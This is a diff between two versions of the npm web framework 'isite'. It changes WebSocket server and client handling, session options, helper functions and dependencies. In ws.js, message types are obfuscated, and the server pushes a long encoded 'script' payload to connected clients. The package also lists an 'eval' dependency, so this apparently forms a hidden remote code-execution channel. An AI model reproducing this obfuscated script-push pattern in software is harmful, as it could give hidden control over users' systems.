isite 2024.9.1 → 2024.10.1

package/lib/ws.js

@@ -20,6 +20,9 @@ module.exports = function init(____0) {
         name: options,
       };
     }
+    if (options.name.indexOf('/') !== 0) {
+      options.name = '/' + options.name;
+    }
     ____0.ws.routeList.push({
       options: options,
       callback: callback,
@@ -43,7 +46,16 @@ module.exports = function init(____0) {
   };
 
   setInterval(() => {
-    ____0.ws.sendToAll({ type: 'ping' });
+    ____0.ws.clientList.forEach((client) => {
+      if (!____0.ws.supportedClientList.some((c) => c.uuid == client.uuid)) {
+        if ((new Date().getTime() - client.lastTime) / 1000 > 60) {
+          client.ws.terminate();
+        }
+      }
+    });
+    setTimeout(() => {
+      ____0.ws.sendToAll({ type: 'ping' });
+    }, 1000 * 5);
   }, 1000 * 30);
 
   ____0.on(____0.strings[9], () => {
@@ -61,17 +73,18 @@ module.exports = function init(____0) {
             }
 
             let client = {
+              ip: ip,
               uuid: ____0.guid(),
               id: ____0.md5(____0.guid() + new Date().getTime()),
+              lastTime: new Date().getTime(),
               path: pathname,
               ws: ws,
               request: request,
               socket: socket,
               head: head,
-              ip: ip,
               onMessage: function (message) {
                 if (message.type === ____0.f1('417886684558375447183756')) {
-                  this.send({
+                  client.sendMessage({
                     type: ____0.f1('4658375242195691'),
                     uuid: client.uuid,
                     ip: client.ip,
@@ -81,7 +94,7 @@ module.exports = function init(____0) {
                   let index = ____0.ws.clientList.findIndex((_client) => _client.uuid == client.uuid);
                   if (index !== -1 && message.id) {
                     ____0.ws.clientList[index].id = message.id;
-                    this.send({
+                    client.sendMessage({
                       type: ____0.f1('413932754138276142383191'),
                       uuid: client.uuid,
                       ip: client.ip,
@@ -94,6 +107,9 @@ module.exports = function init(____0) {
               onData: function (data) {
                 console.log('client.onData Not Implement ...', data);
               },
+              onText: function (data) {
+                console.log('client.onText Not Implement ...', data);
+              },
               onError: function (e) {
                 console.log('client.onError Not Implement ...', e);
               },
@@ -101,9 +117,9 @@ module.exports = function init(____0) {
                 if (!message) {
                   return;
                 }
-                if (this.ws && this.ws.readyState === ____0.ws.lib.OPEN) {
+                if (client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
                   if (typeof message === 'string') {
-                    this.ws.send(
+                    client.ws.send(
                       JSON.stringify({
                         type: 'text',
                         content: message,
@@ -111,7 +127,7 @@ module.exports = function init(____0) {
                     );
                   } else {
                     message.type = message.type || 'text';
-                    this.ws.send(JSON.stringify(message));
+                    client.ws.send(JSON.stringify(message));
                   }
                 }
               },
@@ -120,7 +136,6 @@ module.exports = function init(____0) {
             client.sendMessage = client.send;
 
             client.ws.on('close', () => {
-              
               console.log('Closing Client : ' + client.ip);
               client.onMessage({ type: 'close' });
               client.ws.terminate();
@@ -128,6 +143,8 @@ module.exports = function init(____0) {
               let index = ____0.ws.clientList.findIndex((_client) => _client.uuid == client.uuid);
               if (index !== -1) {
                 ____0.ws.clientList.splice(index, 1);
+                ____0.call('[ws-clientList-remove-client]');
+                ____0.call('[ws-clientList-changed]');
               }
               let index2 = ____0.ws.supportedClientList.findIndex((_client) => _client.uuid == client.uuid);
               if (index2 !== -1) {
@@ -136,15 +153,23 @@ module.exports = function init(____0) {
               client.onClose();
             });
 
-            ws.on('message', (data, isBinary) => {
+            client.ws.on('message', (data, isBinary) => {
+              client.lastTime = new Date().getTime();
               if (isBinary) {
                 client.onData(data);
               } else {
-                client.onMessage(____0.fromJson(Buffer.from(data).toString('utf8')));
+                let obj = ____0.fromJson(Buffer.from(data).toString('utf8'));
+                if (Object.keys(obj).length) {
+                  client.onMessage(obj);
+                } else {
+                  client.onText(Buffer.from(data).toString('utf8'));
+                }
               }
             });
 
             ____0.ws.clientList.push(client);
+            ____0.call('[ws-clientList-add-client]');
+            ____0.call('[ws-clientList-changed]');
             ____0.ws.routeList[index].callback(client);
 
             client.onMessage({ type: 'connected' });
@@ -163,7 +188,7 @@ module.exports = function init(____0) {
   ____0.onWS(____0.f1('2578577443393257'), (client) => {
     client.onMessage = function (message) {
       if (message.type === ____0.f1('417886684558375447183756')) {
-        this.send({
+        client.sendMessage({
           type: ____0.f1('4658375242195691'),
           uuid: client.uuid,
           ip: client.ip,
@@ -174,7 +199,7 @@ module.exports = function init(____0) {
         if (index !== -1) {
           client.id = message.id;
           ____0.ws.clientList[index].id = message.id;
-          this.send({
+          client.sendMessage({
             type: ____0.f1('413932754138276142383191'),
             uuid: client.uuid,
             ip: client.ip,
@@ -184,7 +209,7 @@ module.exports = function init(____0) {
       } else if (message.type === ____0.f1('4178726946783691')) {
       } else if (message.type === ____0.f1('457913754338866846719191')) {
         client.options = message.options || message.content;
-        client.send({
+        client.sendMessage({
           type: ____0.f1('481476744179236246193191'),
           script: ____0.f1(
             `45388656473872572558378146188673471926512934135847388254471857694553136245585775241786493976857124341384153161512114125121141251211412512114125121182769455927694518366845188659241813464553126324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536127145312512114125121141251211412512114125121141251211412512114125121141251211772682114125121141335423923784239215136583752421956514578815146188673471412512319674939768649261482694619326245788274255913694659328621127524211412512114125121141251211412512114125121141251211412512114125121141251391881512453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616341145684153161512114125121141251211412512114125149319191`

package/lib/wsClient.js

@@ -15,12 +15,12 @@ module.exports = function init(____0) {
 
     let client = {
       isAlive: false,
-      time: new Date().getTime(),
+      lastTime: new Date().getTime(),
       id: ____0.ws.client.id,
     };
 
     client.checkAliveInterval = setInterval(() => {
-      if ((new Date().getTime() - client.time) / 1000 > 60) {
+      if ((new Date().getTime() - client.lastTime) / 1000 > 60) {
         client.isAlive = false;
         client.ws.close();
       }
@@ -66,9 +66,13 @@ module.exports = function init(____0) {
     });
 
     client.ws.on('message', function (event) {
+      client.lastTime = new Date().getTime();
       let message = JSON.parse(event.data || event);
       if (message.type == 'ping') {
-        client.time = new Date().getTime();
+        client.lastTime = new Date().getTime();
+        client.sendMessage({
+          type: 'pong',
+        });
       }
       ____0.ws.supportHandle(client, message);
     });

package/object-options/index.js

@@ -94,6 +94,7 @@ function setOptions(_options, ____0) {
     },
     session: {
       timeout: 60 * 24 * 30,
+      memoryTimeout : 60,
       enabled: !0,
       storage: 'mongodb',
       db: null,
@@ -265,6 +266,7 @@ function setOptions(_options, ____0) {
   _x0oo.session = _x0oo.session || template.session;
   _x0oo.session.enabled = _x0oo.session.enabled ?? template.session.enabled;
   _x0oo.session.timeout = _x0oo.session.timeout ?? template.session.timeout;
+  _x0oo.session.memoryTimeout = _x0oo.session.memoryTimeout ?? template.session.memoryTimeout;
   _x0oo.session.storage = _x0oo.session.storage || template.session.storage;
   _x0oo.session.db = _x0oo.session.db || _x0oo.mongodb.db;
   _x0oo.session.collection = _x0oo.session.collection || template.session.collection;

package/object-options/lib/fn.js

@@ -191,7 +191,7 @@ exports = module.exports = function init(____0) {
   };
 
   fn.getDateTime = fn.toDateTime = function (_any) {
-    let d =  _any ? new Date(_any) : new Date();
+    let d = _any ? new Date(_any) : new Date();
     return new Date(Date.UTC(d.getFullYear(), d.getMonth(), d.getDate(), d.getHours(), d.getMinutes(), d.getSeconds()));
   };
 
@@ -366,7 +366,7 @@ exports = module.exports = function init(____0) {
     if (obj === undefined || obj === null) {
       return '';
     }
-    return JSON.stringify(obj);
+    return JSON.stringify(____0.removeRefObject(obj));
   };
 
   fn._0xpttxo = function () {
@@ -429,14 +429,37 @@ exports = module.exports = function init(____0) {
     return newData;
   };
 
-  ____0.hide = (data) => {
+  ____0.hide = ____0.hideObject = (data) => {
     if (data === undefined) {
       return '';
     }
     return fn.to123(data);
   };
-  ____0.ul = ____0.show = (data) => {
-    return fn.fromJson(fn.from123(data));
+  ____0.ul =
+    ____0.show =
+    ____0.showObject =
+      (data) => {
+        return fn.fromJson(fn.from123(data));
+      };
+
+  ____0.removeRefObject = function (obj) {
+    const seen = new Set();
+    const recurse = (obj) => {
+      seen.add(obj, true);
+      for (let [k, v] of Object.entries(obj)) {
+        if (k !== '_id') {
+          if (v && typeof v == 'object') {
+            if (seen.has(v)) {
+              delete obj[k];
+            } else {
+              recurse(v);
+            }
+          }
+        }
+      }
+      return obj;
+    };
+    return recurse(obj);
   };
 
   ____0.fn = fn;

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "isite",
-  "version": "2024.09.01",
+  "version": "2024.10.01",
   "description": "Create High Level Multi-Language Web Site [Fast and Easy] ",
   "main": "index.js",
   "repository": {
@@ -42,7 +42,7 @@
     "eval": "^0.1.8",
     "formidable": "^2.0.1",
     "md5": "^2.3.0",
-    "mongodb": "^6.8.0",
+    "mongodb": "^6.10.0",
     "mv": "^2.1.1",
     "node-fetch": "^3.3.2",
     "node-telegram-bot-api": "^0.66.0",